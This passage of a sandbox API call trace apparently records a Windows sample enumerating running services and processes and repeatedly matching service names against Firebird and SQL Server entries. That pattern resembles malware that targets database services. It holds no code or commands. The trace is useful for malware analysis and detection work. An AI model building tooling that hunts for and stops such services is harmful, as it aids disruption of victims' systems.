lpString2="NlaSvc") returned 1 [0285.382] lstrlenW (lpString="nsi") returned 3 [0285.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0285.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0285.382] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0285.382] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0285.382] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0285.382] lstrlenW (lpString="PcaSvc") returned 6 [0285.382] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0285.382] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0285.383] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0285.383] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0285.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0285.383] lstrlenW (lpString="PlugPlay") returned 8 [0285.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0285.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0285.383] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0285.383] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0285.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0285.383] lstrlenW (lpString="Power") returned 5 [0285.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0285.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0285.383] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0285.383] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0285.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0285.383] lstrlenW (lpString="ProfSvc") returned 7 [0285.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0285.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0285.383] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0285.383] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0285.383] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0285.383] lstrlenW (lpString="RpcEptMapper") returned 12 [0285.383] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0285.383] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0285.384] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0285.384] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0285.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0285.384] lstrlenW (lpString="RpcSs") returned 5 [0285.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0285.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0285.384] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0285.384] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0285.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0285.384] lstrlenW (lpString="SamSs") returned 5 [0285.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0285.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0285.384] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0285.384] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0285.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0285.384] lstrlenW (lpString="Schedule") returned 8 [0285.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0285.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0285.384] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0285.384] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0285.384] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0285.384] lstrlenW (lpString="SecurityHealthService") returned 21 [0285.384] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0285.384] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0285.384] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0285.385] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0285.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0285.385] lstrlenW (lpString="SENS") returned 4 [0285.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0285.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0285.385] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0285.385] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0285.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0285.385] lstrlenW (lpString="ShellHWDetection") returned 16 [0285.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0285.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0285.385] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0285.385] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0285.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0285.385] lstrlenW (lpString="Spooler") returned 7 [0285.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0285.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0285.385] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0285.385] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0285.385] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0285.385] lstrlenW (lpString="StateRepository") returned 15 [0285.385] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0285.385] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0285.385] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0285.385] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0285.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0285.386] lstrlenW (lpString="SysMain") returned 7 [0285.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0285.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0285.386] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0285.386] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0285.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0285.386] lstrlenW (lpString="SystemEventsBroker") returned 18 [0285.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0285.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0285.386] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0285.386] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0285.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0285.386] lstrlenW (lpString="Themes") returned 6 [0285.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0285.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0285.386] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0285.386] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0285.386] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0285.386] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0285.386] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0285.386] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0285.386] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0285.386] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0285.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45de478 | out: hHeap=0x640000) returned 1 [0285.387] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x55c [0285.391] Process32FirstW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.419] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0285.420] lstrlenW (lpString="System") returned 6 [0285.420] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0285.421] lstrlenW (lpString="smss.exe") returned 8 [0285.421] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.495] lstrlenW (lpString="csrss.exe") returned 9 [0285.495] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0285.496] lstrlenW (lpString="wininit.exe") returned 11 [0285.496] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.497] lstrlenW (lpString="csrss.exe") returned 9 [0285.497] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0285.498] lstrlenW (lpString="winlogon.exe") returned 12 [0285.498] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0285.499] lstrlenW (lpString="services.exe") returned 12 [0285.499] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0285.500] lstrlenW (lpString="lsass.exe") returned 9 [0285.500] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0285.520] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0285.520] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0285.521] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0285.521] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.533] lstrlenW (lpString="svchost.exe") returned 11 [0285.533] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.534] lstrlenW (lpString="svchost.exe") returned 11 [0285.535] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0285.535] lstrlenW (lpString="dwm.exe") returned 7 [0285.549] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.550] lstrlenW (lpString="svchost.exe") returned 11 [0285.550] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.551] lstrlenW (lpString="svchost.exe") returned 11 [0285.551] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.552] lstrlenW (lpString="svchost.exe") returned 11 [0285.552] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.553] lstrlenW (lpString="svchost.exe") returned 11 [0285.553] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.554] lstrlenW (lpString="svchost.exe") returned 11 [0285.554] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.555] lstrlenW (lpString="svchost.exe") returned 11 [0285.555] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.556] lstrlenW (lpString="svchost.exe") returned 11 [0285.556] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.557] lstrlenW (lpString="svchost.exe") returned 11 [0285.557] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.558] lstrlenW (lpString="svchost.exe") returned 11 [0285.558] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.559] lstrlenW (lpString="svchost.exe") returned 11 [0285.565] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0285.566] lstrlenW (lpString="spoolsv.exe") returned 11 [0285.566] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.576] lstrlenW (lpString="svchost.exe") returned 11 [0285.576] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x518, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0285.577] lstrlenW (lpString="audiodg.exe") returned 11 [0285.577] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0285.578] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0285.578] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0285.581] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0285.581] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0285.582] lstrlenW (lpString="Memory Compression") returned 18 [0285.582] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.583] lstrlenW (lpString="svchost.exe") returned 11 [0285.583] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0285.584] lstrlenW (lpString="sihost.exe") returned 10 [0285.584] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0285.585] lstrlenW (lpString="taskhostw.exe") returned 13 [0285.585] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0285.586] lstrlenW (lpString="msoia.exe") returned 9 [0285.586] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0xa28, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0285.586] lstrlenW (lpString="explorer.exe") returned 12 [0285.587] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0285.587] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0285.588] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0285.718] lstrlenW (lpString="SearchUI.exe") returned 12 [0285.718] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0285.720] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0285.720] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0285.721] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0285.721] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa40, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0285.722] lstrlenW (lpString="chrome64b.exe") returned 13 [0285.722] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3c0, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0285.722] lstrlenW (lpString="consent.exe") returned 11 [0285.723] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0285.723] lstrlenW (lpString="dllhost.exe") returned 11 [0285.724] Process32NextW (in: hSnapshot=0x55c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0285.725] CloseHandle (hObject=0x55c) returned 1 [0285.725] Sleep (dwMilliseconds=0x1f4) [0286.605] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69a270 [0286.606] EnumServicesStatusExW (in: hSCManager=0x69a270, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0286.606] GetLastError () returned 0xea [0286.606] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x1c30) returned 0x45de478 [0286.673] EnumServicesStatusExW (in: hSCManager=0x69a270, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x45de478, cbBufSize=0x1c30, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x45de478, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0286.674] CloseServiceHandle (hSCObject=0x69a270) returned 1 [0286.674] lstrlenW (lpString="Appinfo") returned 7 [0286.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0286.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0286.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0286.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0286.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0286.674] lstrlenW (lpString="AppXSvc") returned 7 [0286.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0286.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0286.674] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0286.675] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0286.675] lstrcmpiW 